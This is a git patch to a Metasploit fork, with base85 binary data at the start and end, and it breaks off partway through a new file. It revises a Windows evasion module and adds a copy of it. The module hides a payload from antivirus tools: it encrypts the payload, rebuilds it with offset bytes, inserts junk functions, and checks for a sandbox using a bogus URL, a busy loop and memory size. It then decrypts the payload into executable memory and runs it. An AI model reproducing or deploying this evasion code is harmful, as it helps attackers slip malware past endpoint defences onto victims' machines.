z7sHfj$^88boT&Qh@0C>IPU>%vyNFBrwD-v-Se}9$E7i{v5>VSpD-3 z^Fr0)a-9WqR;~u9s>A$MC;>VC6q?UP7Q~g0pAvORTIwLMTmpSUvaG*FvBz#`K()pVsQQV0+D}4dB&B)=j3;wPN zRvodpIp!=0bcKac1b{jTblZulU0l**88xr-mBU_6njU74zsDtO$0a%8VOs_WMR|%> z?&$--_t`1&mjbj*g10Qk5BF&e)MkKz+HC3U-Y;?8!73(!y}=5ye3))SDOh?*;vM&BV!V!{~d>Q4V^%ZQ;q=37*&KlM`B=oMKJ~ZQfm(+g^fH_PV{`%ps zK<593vleY?^tCG&1=*J>aGr(J90kDTS%j00tQIG|m^r2n1K$8RCz5=p;XOE0I9qVi zG0_>B;{dLC-iwnqaSZ3@aGHaYw@mOC0O$EVoE#P`w1vLf9Ip)nXPbF$!P$$mPoJjT zRl~p!0M7GXoE#~S|Cx7$&WqHBm=)$XcJ3w*jM!ckao!MfPjsJGesBU9t@5>Fw2sk z^aLw9L*pbQ&d0(`15Pi&BOj+@&wyH$+$2!{sns~xvJR@Ej}EyMq$|YXMHr>W%=1`DB(nVQm7CHvp1$sB4fJ zzCYgt{D_nRZPnPJDn*`u1YGtu?=W`g(i*`IX?@BL+4sT+x0&K0+hudg5)^f1zi0GH z&UF$${SS3P4?CPLjGVbPqU5~!A|=^iO|PS#f{DXR46nUnvt8g!GQHbK>;-K{nf#cM zSR5s#c1DoccHk(9-3l7vgSQ%rLu%*0fI!)KhmqJ?fRr@&B24&*gAvsV*0XCR?x{%D zJwolWOe@%LWGgJ!+ra%vo~=r5I@mn>>^(@5u45p}eh9t;km{0j$nx!IipJ3+NC)ar z`f6{!w#{WuUhI_Ho54EWdfEr&-pZDbmiDVJgCC%wrNKIw3biW}j`6FerI~P4+n3Ph zWh-p<8`Tp@hliF=xb1%V=(Z05f4H_A?YxWasxC#FRl9-~=WExpS4PJ<`vzkhHb;%% zVfyJU01wx8qxW({%QAXD=|cVp@>#++Ku6QN$FsJCWj>y@-nl3{T-*N$?W&$6jgHe#b(mgjYrPpLdiMIi;;8Em2-H!U@6M^`bs0` ze*%P-6g(*B8=!Y3XCP-dDCcc}k0$4rT{)khp%yit=i2vh_H1PMI!Y@UdSR#h6>frH zl&w}|wpHz0JbPxJKqGvIv1d=tVHp}Z7mOh1N(AAVy{%ylXCkBB$6dO}=z=dm1$`Y^ zqb~l+)x`lHx85an(TC({zGV`+l(Ko=-v`^y+Gz8?bZwsABYe>2xxz7=zF30yUrjib z|CtR4t=2n?PU%yWPQCbE9u`(3QS6xXKbglJ({~gOc(Tb=@Gv^%oe;Um=*RRtv&7YD zunv=A-&wZU=<6s_Vf&!I&V|xd-@ybw!$EyflcVYDsH-n7+M`g~L0vSBK^J>~H<~Uc z07vP<7Zpv@GjcvIbuo+#^)2K0np5m4Y>+4s*p}+Hv@$`#Qw_g-^73eGF>o%-qFPHqtxfTTBJ2cLk3c!ZN z(Q6JHfJ1FNHZ2K*z3))qk_Afb)T2sejBjYq&LCKARQ%Cs? zheI0dgO^~)R`-LSMk;8B#9<%&q^r{uL7{{Fi)tKAr*Dlxr!S2`ryl|>)h~3|$uy2W zhCX^64IgPmnlJS8y)2N!8SYKj1D@uM$1&oMXbIZ$@066;bF0BeSn|{kpSLURd>s6; zUj+|pM*uJ&ZX6m)9kAtz+Sp$56~rZiXq9FR*p*ejQUkm{8WBNu?QgC3I4 zpp}OVkDf%QhkR=UEfa?xvH~n94_OOHkRQ{#KLI>t3BEX>tUw=p7rGW*Za7OY-yFF( zt|cf4wL=RD9^>(=BUu7#rItUAX_(S7pZkUVFSYz*SIfiC{Z;^PG!33`HOQwFD3Eqg zJ0)O&tsZH;WxK1L*}%-K9ln05`>Fgu%nPQ9d5gY3ZIs#}tu#iEJT*Co<;R*S=Y6$C z&OZhutXImp5b{yIX?Qtr1Kw!9ZV|eP>M3hUK6Fsd)g#E+SojZsr)21lrsX|VdJ>{n zGOWlbLlS-tILCA^P_6zEAk}8HlDzR9w-o`%uK_85)v1{|kqS|`%Ebw5kZ-Z9khPgV zkIMOR|t<XpQoj zsf??0wZP$1`;mGapA;WKee{Hmoq08tes#dLmcyV5!KWSctLKALa#fNR)ii=d z5sQA6u_=^aJqAc{+%Z=77VwnS`99tBjLw=0UJiig;ruFTRRgESwH89w0P=<@<$3^B z59QMX9H97)@z{?`YlPMBm$w+(pe@tq1`pcC_aS8E0e%|H)G6xy0M3#0PMsFP`e@0H z{UZJXkakd~p9B|5r$EkdP^W`q&?#lDbXtR2P{4N>oyMSdrBh#&RE=l)GAkjc|5tBZ zYxF*XF8=Kjql*)y=;K&jQWsxD2OP~C9|PWK-uR@ei{V#14vrvaBf|<;hQR=^hWYof z8B&H78J`@5<;?f>gLXI`n_oKyIe!t0X{6xT?}aGCZ;(*Vue);o98%$f{_xKrWaSS( znh}Tn;yIk7^@~|Wre92eG{aS~U+_Im)i27z%mBiE@%RY(Vj=oE#->sIVl5yb=R1r} zSGzjJ(gmWcaw7@5G7D2;lq_ zkRt({EVQx;!-pzm>__oKowkAdIevD>HEVJ?v?~I2m;}eunjOY|jzhIr0!TY(KaZk+ zseVc?6Fz7^bAh1jXBAT6qZZJg;T*|+IG(_@2Q#$g|CWcYqphHj+XKz*F^Dm%vT1ZXiqz2_iD`NQ2xL}^&`hb`z7${#L<=E6rUa8{u7X#S8s zQ~ARuaTPw;2cL57=U1Q=Mx#IczUvR0!j%9*8>=3{##o4BF5`45e|Qs8P_XYXcDM?( zls{CVW4N6F0-4K^*YxEDSgJw=nf0aD;wq4@bPA$rhw+Cuj6tX0y4mRTP1FMB(hlnM zeG`pNhxdouTzw7i5C0n7Q~AUCG%6}dIS-B?=a78d5q~x+kkWA9nRMH3-U&Q=Cu-(B zpZCt>OQ08kR43CR%h|&IEU{U8h8S zU5NVQA?m*fQICbF51tbBwIS-fTMxGVXCdl;fCCQN{0*l>y*5Oh@2~`^pA1odD@6U) zQ=(oIqW)-z`YR#ozX(yk`;@4!2vL6|ME!>$>I@GRl>EU{qFxoE&XwDsIXyApAS+0`w;b`r$l{ri28vL_2)v=9|}=_ z{FJCygs9&gqW(;X`hgJjr%#D`d5HR*A?n9N)Nc+^f98~^mxid{8lwJmh-TN8 z0;29p(su(uVH{bY^NN%Y?tDQZ{V+3gg~K}+t}g`<&E4p13X*l|B)SbNtvt6=W zg*bkTxpTP>)q%mZgLf{Expyw~JK>`iIQ-gpq&rRCMZW3YxqJkb0FZW2>IcCB#E7oV za6N&1Th`4!i0@lP(=Y5Pz)@u-I{p})&eJ*SyMQ#DkWQnfc;J^hz2tVI(+@&YytfY? z)amuOqgN{oJCF(=TwyqfH5s+Sa2XJS{ICS|&M(JD)BBy%%pL1lC=n({y+01Ajiz@- z%T{`?2K8Y3joxo{^*;Q!cwS#N-(>mvyS_{EzFuTYgNM;q6~L5ACi^j~2RDtddZ53q zT2g{K&@|M;D`iEvkcase&*RyAlQja*u0^>Vx_9(0KkglUH6$;o8_2RF&_@7L{W5q7 zK$bJ0nTBZZckc+2H=gZXlxlT>X+?%-h(?AlkB)P8mywUn{t`Tl)g2k3?dD6sRuokd zGgi02P1W*T|p1Q_L^4o8OaZC z8)yFp#g%;MbApG_JJ+>T+grRZ;@f)MM}S{|?d(KRasn~o_(wnvY|-NdxJWp-q1gX6iMUXZk24GT^)c@FTKa#9@2G_0VIz1UyP2)A(-Mj%;~gjZv@DCXtq& z*7ak)uORi;+y_vz_DK4B&tHIE08%|W9kTpEqh+@bYU1E>Jk;+FQU6&wt?G(&$np=J zChB*FsGm%yRb8GAS-xis)Mtkz@6CvGZ#ugmME!)$&Y3H z;SYpLm+6{~|=aHAMYTh&rS6oQ}5tEJS^K zi2D5@>g@ifgF2t&1touFi2A`0_1EA=P6zc@Le#f~s2>PXfAKU?|6z!FQ;7QAA?i<^ zCh9MTs5geF-x;F*;Ax`%Qi%G75cOL_)bBn`)L#fuUl*c&Q;0ghQac@1_k4)@+7R^{ zLe%-@!|9;@T!?yYi29xo^-E6^^=CrVYeLiqL)7_p*6C>b@euVDA?kf0>eZ)-`qLrm z)gkI#A?l1EcskntWQclIh&tzxnwFYW_!0`|d#$t?Jeg^|xFOQ>hji$4os7 zsL<;e|BE>bkGJ18D;ou1|1Cf-Z&F*wfC5UyW&*%B& z6d>*WZEd(x&;AT`u4I^bf~t9l^_aCmlCtgqWS(9Nf!r zl=DGAZVI&PQ-D0`Lii1DSE|LT057ag)%-XwVH;k}&l6JMhx~*Pl=E=j1_XtCkSSj_ynsr)x3f9`xi!Gg^?(?!uB7o1Kv0cO@{a&w#$1K-G$1@Y zEq^Nn`5hn&fa7T}iIra%Nr_YIYZt$2JsGIyML>=PApgQr0m<{bNgf_Q zQN5Ib+>i5^zF4a1URe&j+uQaiE&F@<9iikDjs3%acXBM}<2Z(wiMu_T_&A$Gw zAg$JH;CgL8iBd;gug-ej1Vla4RQ2$C!HrGy8>FLXMc^X9pbwG+gx<#MJ7)l5)?ihs zrGVhSrp_-4xhq;%K+bD`VAdg3sqKK67-b5w7m(Qj`P{~8-I{szQ9#VPmMZmGK!Pp( zG9W(;=;BpC%y)>Y)PDkU(B&}I(%glO53L(KNJ{NBSR3Hy_bA1~v%`G7wB|u(0zzGo zj-quAAkPH&xsauh>6N+ykfs369zc!t6n_W=?d3;qg_p9M;N84$1M(pp*& zO@dab>PZb?Ye=MwohqJR&^0S4x8!T3Pe89Uc-R^QIC}!Leh$by)imAqLOcLm>*9b` zM^AH?wbqk!w~~C53qf(~ER^!*B!rv;$m4E3gscPP7Xe5MAUr&&ULS&d5RgNGQV&X; z0$-^o09k-~JUM?|;?(+ZP5{E*@6kF5$n$}k-vq>bpQ5Ci#KWkgE>5a>M{hqS{I>?$ zJ{dS1FIYmATFOUQI6PW)fIJc?wNc}E{j?R3L6;WG@6|Y7%^wDY7NsDmRBsO_ns*0k zJ_;P_+|&C%079$N_5+LRghkPB_#~!jc|89MASSK|{Mf)?e@{zyUv+@iuS2DZAqsNn zjd6yV`oJnt%*jfOEHtLmGPl zq4qr6;B(P~NP4Y!43Kiy*Qwo6VLySIp9KyNkLMGBm^&$DtN#_k$t_YF=y#MB}(z+TrCI*+HbsZoF0xi7@kVdy2mOlsx50B?B021uo-wNUU zggAk={}PaA0+9a&q&h%-3f|Ly+J($VsMUUwVz30>FR)7piNLsQry zHPxcFP(^sgp5~6WR&2nl;n<0nd*HHjHun!o=1`;DITy19Y(m;UI0W3C%>${H7P(0< zc6Qx}P`&iP>CHeoDFVIx&Uejb2yl#WvEJ)B-4A||#$_GcJqdI6t$Q!P8&TCPnE z^>?YKFtgLrl~STZeU&mKCaARbraHQMcQkjUS|LbmO6&(wwg6EVoy}bso?9_{-Rs}} zR&FXQgR8UP-kub`s**L;E?y$*(jZo$L4#dr6^S8Ve{Eo;)@;43Y0bLI#ekXpn^9qZ zTOS6d6uw6wc6W3Cwb)>}Ww5iiC&gKQ^Ny}Ig7@gXWx*;wULXqFG5n6wyJ0tE2(d#! zL>X#-bLT*t$IrmvB?E2!8}TtjeLor1SZSMCLrFbD@KG&oeUho2%DUk(ObL9&$UUu7 z*S76d0M(GQ392>sHTKV^tW~QVh3nbuUjbP z--_5D$zUNVQd+$j|;zdpFUym_`q`|F9Nf`aZ^K zmDTTQBNM=CtoL)!FtDk&$EdxbXU$N5e_PL>#PBG$^$c~VI=iLWban3NZ|>ilV%%sN z1hy!LF?IItNVO03fP_*!cI1XJ>|&Es(2a6a=A9*!8YN#a&?BUz_mfY1P0zL}Wv{JVzHHgjWmZaW!`#^4JBXfByLdSTvE`CYO$~5Cja%z4 zS-Uy4rGCTaHK`2^TboEB#V5te^D=n>R^2uzNh-Tu+q8L$hYVT6U^?NDo4bNULVd;E z-<%2p7iyA6evndkIVqI|-EU|f7)00W?XN{A-P$&INssDWt?p*k7j$;PWs;{g{cW(; zjYD|&S*M(gpR0?9+WPmpzGuK|SqhdB*d-lzUe|&hS-7cd09>Fa47JH-OJIZR2-m>< zbmC@BcL<`aZR^4ammwnstLqz(JKAgNhKOu=b4zz?7d^ftp{C+c0@gklZ`8NDwp0#p zl2X0xYz6#0McO%-A)~(y?hD(*WquGV6e8+%)ay4uv#q0ZBWp1HFXX}vyc{Ich@=gdeFsD^_s5U0c`-D{^hd>PC(R*03N)fryD~8i*M*{ zZq;5(T8yb^b6;D}CH-A>wM#fgOB(48P6D9`Jxt!d=aJoS@;Cs2iBqt~84#HEdR!-UkLD`31 zuEh}5+0~W`SeZiD(AK;wqu-ac>UAYo@_l3uj47`i>I2ZJ-&SF$oTSq9Ji$?{P!!;r zZ&rytk6Zxk1acpKPGiIwcB~l&cfE{iD))2e_N03D(+oqOA6Yj=vFy{38PTMl^^aT1 zVg`K;Pxmfjd7xL`eRZ|; z_UwWXrLLO02RhVJgj+Sn7K}-$PTcKubs5=&dT6k-^=#eQyBqxt=!P%~%YNt)*2<+5 zQ>FV_`n1i!DGfJ{kWq}N14F%LKy3g--Lz%UOPT}sb!yWT`LI9ur$!%m1G zbL54Yk#=L&gS1?BrF9K?GwgS}Y0h?MLk~J}kDTtf&d(h@jn`CK*9zq=wVok0Wtx!= zJLw$RDWwmOW0(%PclYE>KBw4$8K^N*0=+>-^>HfR7qkqDp=|@wYPqwR3=_A^a~P}w d$d!NBJElzue7fN6MA{5&IRB&^sD5Pl{{j9HK1%=q From de38ee7935b2bdcf7b62f1f2e2893035ec6aebdd Mon Sep 17 00:00:00 2001 From: Arthur RAOUT Date: Fri, 3 Feb 2023 13:38:45 +0100 Subject: [PATCH 06/22] merger upstream --- a.out | Bin 0 -> 16600 bytes modules/evasion/windows/no_shellcode.rb | 245 ++++++++++++++---- modules/evasion/windows/test.rb | 193 ++++++++++++++ .../evasion/windows/windows_defender_exe.rb | 1 + msfrpc | 91 ------- 5 files changed, 384 insertions(+), 146 deletions(-) create mode 100755 a.out create mode 100644 modules/evasion/windows/test.rb delete mode 100755 msfrpc diff --git a/a.out b/a.out new file mode 100755 index 0000000000000000000000000000000000000000..fb23c25a961169d49023faf2ba256dc503f36b4c GIT binary patch literal 16600 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 literal 0 HcmV?d00001 diff --git a/modules/evasion/windows/no_shellcode.rb b/modules/evasion/windows/no_shellcode.rb index cb6a9172424f..5db9173e34c7 100644 --- a/modules/evasion/windows/no_shellcode.rb +++ b/modules/evasion/windows/no_shellcode.rb @@ -32,7 +32,7 @@ def rc4_key def get_payload @c_payload ||= lambda { - opts = { format: 'rc4', key: rc4_key } + opts = { format: 'rc4', key: rc4_key} junk = Rex::Text.rand_text(10..1024) p = payload.encoded + junk @@ -43,102 +43,237 @@ def get_payload } }.call end + def get_payload_bytes() payload = get_payload[:hex_format] s = "" i = 0 j = 0 - vector = rand(1..1024) + vector = rand(1..999999) while j < get_payload[:size] - s += " buf[#{j}] = \'\\x#{((payload[i]+payload[i+1]).hex + vector).to_s(16).rjust(2, "0")}\'-#{vector};\n" + s += " buf[#{j}] = ((char)\'\\x#{((payload[i]+payload[i+1]).hex + vector).to_s(16).rjust(2, "0")}\'-#{vector});\n" + if rand(1..100) > 98 + s += junk_code(1) + end i = i+2 j = j+1 end return s end +def fill_array(size) + s = "" + i = 0 + while i < size + if i == size-1 + s += "#{rand(1..1024)}" + else + s += "#{rand(1..1024)}, " + end + i = i+1 + end + return s +end + +def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call to a function + #fibonnacci fucntion + fibonnacci = %Q| + int fib(int n) { + if (n <= 1) + return n; + return fib(n-1) + fib(n-2); + } + | + bubbel_sort = %Q| + void bubbel_sort(int arr[], int n) { + int i, j, temp; + for (i = 0; i < n; i++) { + for (j = 0; j < n - i - 1; j++) { + if (arr[j] > arr[j + 1]) { + temp = arr[j]; + arr[j] = arr[j + 1]; + arr[j + 1] = temp; + } + } + } + } + | + euclide = %Q| + int euclide(int a, int b) { + if (a == 0) + return b; + return euclide(b % a, a); + } + | + binary_search = %Q| + int binary_search(int arr[], int l, int r, int x) { + if (r >= l) { + int mid = l + (r - l) / 2; + if (arr[mid] == x) + return mid; + if (arr[mid] > x) + return binary_search(arr, l, mid - 1, x); + return binary_search(arr, mid + 1, r, x); + } + return -1; + } + | + #fibonnacci call example + fibonnacci_call = %Q| + fib(#{rand(1..15)}); + | + #bubbel sort call example + arr_size = rand(1..100) + arr_name = Rex::Text.rand_text_alpha(5) + bubbel_sort_call = %Q| + int #{arr_name}[#{arr_size}] = {#{fill_array(arr_size)}}; + bubbel_sort(#{arr_name}, #{arr_size}); + | + #euclide call example + euclide_call = %Q| + euclide(#{rand(1..100)}, #{rand(1..100)}); + | + #binary search call example + arr_size = rand(1..100) + arr_name = Rex::Text.rand_text_alpha(5) + binary_search_call = %Q| + int #{arr_name}[#{arr_size}] = {#{fill_array(arr_size)}}; + binary_search(#{arr_name}, 0, #{arr_size-1}, #{rand(1..100)}); + | + if flag == 0 + return [fibonnacci, bubbel_sort, euclide, binary_search].shuffle + else + return [fibonnacci_call, bubbel_sort_call, euclide_call, binary_search_call].sample + end +end + + + +def get_includes() + rc4 = "#include \"#{File.join(Msf::Config.install_root, 'data', 'headers', 'windows')}/rc4.h\"" + includes = ["#include \n", "#include \n", "#include \n", "#include \n", "#include \n", rc4] + includes.shuffle + return includes.join +end + +def get_check_url() + fct_url = "int check_url() {\n" + fct_url += " #{junk_code(1)}\n" + fct_url += "char url[] = \"https://www.#{Rex::Text.rand_text_alpha(rand(10..20))}.com\";\n" + fct_url += "HINTERNET httpopen, openurl;\n" + fct_url += " #{junk_code(1)}\n" + fct_url += "DWORD read;\n" + fct_url += "httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);\n" + fct_url += " #{junk_code(1)}\n" + fct_url += "openurl=InternetOpenUrl(httpopen,url,NULL,NULL,INTERNET_FLAG_RELOAD\|INTERNET_FLAG_NO_CACHE_WRITE,NULL);\n" + fct_url += "if (!openurl) // Access failed, we are not in AV\n" + fct_url += "{\n" + fct_url += " #{junk_code(1)}\n" + fct_url += " InternetCloseHandle(httpopen);\n" + fct_url += " InternetCloseHandle(openurl);\n" + fct_url += " return 0;\n" + fct_url += "}\n" + fct_url += "InternetCloseHandle(httpopen);\n" + fct_url += " #{junk_code(1)}\n" + fct_url += "InternetCloseHandle(openurl);\n" + fct_url += " #{junk_code(1)}\n" + fct_url += "return 1;\n" + fct_url += "}\n" + return fct_url +end + def c_template @c_template ||= %Q| -#include -#include -#include + + +#{get_includes} #pragma comment(lib, "Psapi.lib") #pragma comment(lib, "Wininet.lib") // The encrypted code allows us to get around static scanning int size = #{get_payload[:size]}; -char *buf[#{get_payload[:size]}]; +char buf[#{get_payload[:size]}]; #define max_op #{rand(100000000..500000000)} -int check_url() -{ - char cononstart[] = "https://www.#{Rex::Text.rand_text_alpha(rand(10..20))}.com"; //Invalid URL - char readbuf[1024]; - HINTERNET httpopen, openurl; - DWORD read; - httpopen=InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); - openurl=InternetOpenUrl(httpopen,cononstart,NULL,NULL,INTERNET_FLAG_RELOAD\|INTERNET_FLAG_NO_CACHE_WRITE,NULL); - if (!openurl) // Access failed, we are not in AV - { - InternetCloseHandle(httpopen); - InternetCloseHandle(openurl); - return 1; - } - else - { - InternetCloseHandle(httpopen); - InternetCloseHandle(openurl); - return 0; - } - return 0; -} +#{junk_code(0).join} +#{get_check_url} int main(int argc, char **argv) { - - if (!check_url()) +int lpBufSize = sizeof(int) * size; + LPVOID lpBuf = VirtualAlloc(NULL, lpBufSize, MEM_COMMIT, 0x00000040); + memset(lpBuf, '\\0', lpBufSize); + + + if (check_url()) exit(1); - #{get_payload_bytes} + #{junk_code(1)} int cpt = 0; int i = 0; + #{junk_code(1)} for (i = 0; i < max_op; i++) { cpt++; } + printf("cpt = %d\\n", cpt); if (cpt == max_op) { - HANDLE mutex; - mutex = CreateMutex(NULL, TRUE, "#{Rex::Text.rand_text_alpha(5)}"); - if (GetLastError() == ERROR_ALREADY_EXISTS) - { - ; - } - else - { + ; + } + else { + exit(33); + } + PROCESS_MEMORY_COUNTERS pmc; + GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); + #{junk_code(1)} + if(!(pmc.WorkingSetSize<=3500000)) + { + #{junk_code(1)} + } - exit(0); - } - PROCESS_MEMORY_COUNTERS pmc; - GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc)); - if(!(pmc.WorkingSetSize<=3500000)) - { - exit(#{rand(1..255)}); - } - // Checking NULL allows us to get around Real-time protection + #{junk_code(1)} + #{get_payload_bytes} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + Sleep(10000); + RC4("#{rc4_key}", buf, (char*) lpBuf, size); void (*func)(); - func = (void (*)()) buf; + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + func = (void (*)()) lpBuf; + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} (void)(*func)(); + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} + #{junk_code(1)} return 0; - } }| end def run # The randomized code allows us to generate a unique EXE - m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: "OK", compile_options: " -lpsapi -lwininet " }) - bin = m.compile_c(c_template) - print_status("Compiled executable size: #{bin.length}") - file_create(bin) + fname = Rex::Text.rand_text_alpha(4..7) + path = File.join(Msf::Config.local_directory, fname) + full_path = ::File.expand_path(path) + m = Metasploit::Framework::Compiler::Mingw::X86.new({ show_compile_cmd: true, f_name: full_path, compile_options: " -lpsapi -lwininet -w " }) + output = m.compile_c(c_template) + print_status("Compiler output len : #{output.length}") + print_status("#{output}") + print_good "#{fname}.exe stored at #{full_path}.exe" end + end diff --git a/modules/evasion/windows/test.rb b/modules/evasion/windows/test.rb new file mode 100644 index 000000000000..cd63bccab10d --- /dev/null +++ b/modules/evasion/windows/test.rb @@ -0,0 +1,193 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'metasploit/framework/compiler/windows' + +class MetasploitModule < Msf::Evasion + + def initialize(info={}) + super(merge_info(info, + 'Name' => 'No shellcode defined, to reduce detection ratio', + 'Description' => %q{ + This module allows you to generate a Windows EXE without having a large shellcode in the file. and rather have it generated at runtime. This is useful for reducing the detection ratio of your payload. + it will also use few technique to avoid runtime detection such as, + opening non existing files, + querying time from a distant server->sleep->query time again. + calling api function that are not fully emulated by avs. + }, + 'Author' => [ 'Arthur RAOUT' ], + 'License' => MSF_LICENSE, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Targets' => [ ['Microsoft Windows', {}] ] + )) + end + + def rc4_key + @rc4_key ||= Rex::Text.rand_text_alpha(32..64) + end + + + def get_payload + @c_payload ||= lambda { + opts = { format: 'rc4', key: rc4_key } + junk = Rex::Text.rand_text(10..1024) + p = payload.encoded + junk + + return { + size: p.length, + hex_format: Msf::Simple::Buffer.transform(p, 'hex', 'buf', opts), + c_format: Msf::Simple::Buffer.transform(p, 'c', 'buf', opts) + } + }.call + end +def get_payload_bytes() + payload = get_payload[:hex_format] + s = "" + i = 0 + j = 0 + vector = rand(1..1024) + while j < get_payload[:size] + s += " buf[#{j}] = \'\\x#{((payload[i]+payload[i+1]).hex + vector).to_s(16).rjust(2, "0")}\'-#{vector};\n" + i = i+2 + j = j+1 + end + return s +end + +def fill_array(size) + s = "" + i = 0 + while i < size + if i == size-1 + s += "#{rand(1..1024)}" + else + s += "#{rand(1..1024)}, " + end + i = i+1 + end + return s +end + +def junk_code(flag) #if flag is 0 return a function , if flag is 1 return a call to a function + #fibonnacci fucntion in junk 0 + fibonnacci = %Q| + int fib(int n) { + if (n <= 1) + return n; + return fib(n-1) + fib(n-2); + } + | + bubbel_sort = %Q| + void bubbel_sort(int arr[], int n) { + int i, j, temp; + for (i = 0; i < n; i++) { + for (j = 0; j < n - i - 1; j++) { + if (arr[j] > arr[j + 1]) { + temp = arr[j]; + arr[j] = arr[j + 1]; + arr[j + 1] = temp; + } + } + } + } + | + euclide = %Q| + int euclide(int a, int b) { + if (a == 0) + return b; + return euclide(b % a, a); + } + | + binary_search = %Q| + int binary_search(int arr[], int l, int r, int x) { + if (r >= l) { + int mid = l + (r - l) / 2; + if (arr[mid] == x) + return mid; + if (arr[mid] > x) + return binary_search(arr, l, mid - 1, x); + return binary_search(arr, mid + 1, r, x); + } + return -1; + } + | + #fibonnacci call example + fibonnacci_call = %Q| + fib(#{rand(1..100)}); + | + #bubbel sort call example + arr_size = rand(1..100) + bubbel_sort_call = %Q| + int arr[#{arr_size}] = {#{fill_array(arr_size)}}; + bubbel_sort(arr, #{arr_size}); + | + #euclide call example + euclide_call = %Q| + euclide(#{rand(1..100)}, #{rand(1..100)}); + | + #binary search call example + arr_size = rand(1..100) + binary_search_call = %Q| + int arr[#{arr_size}] = {#{fill_array(arr_size)}}; + binary_search(arr, 0, 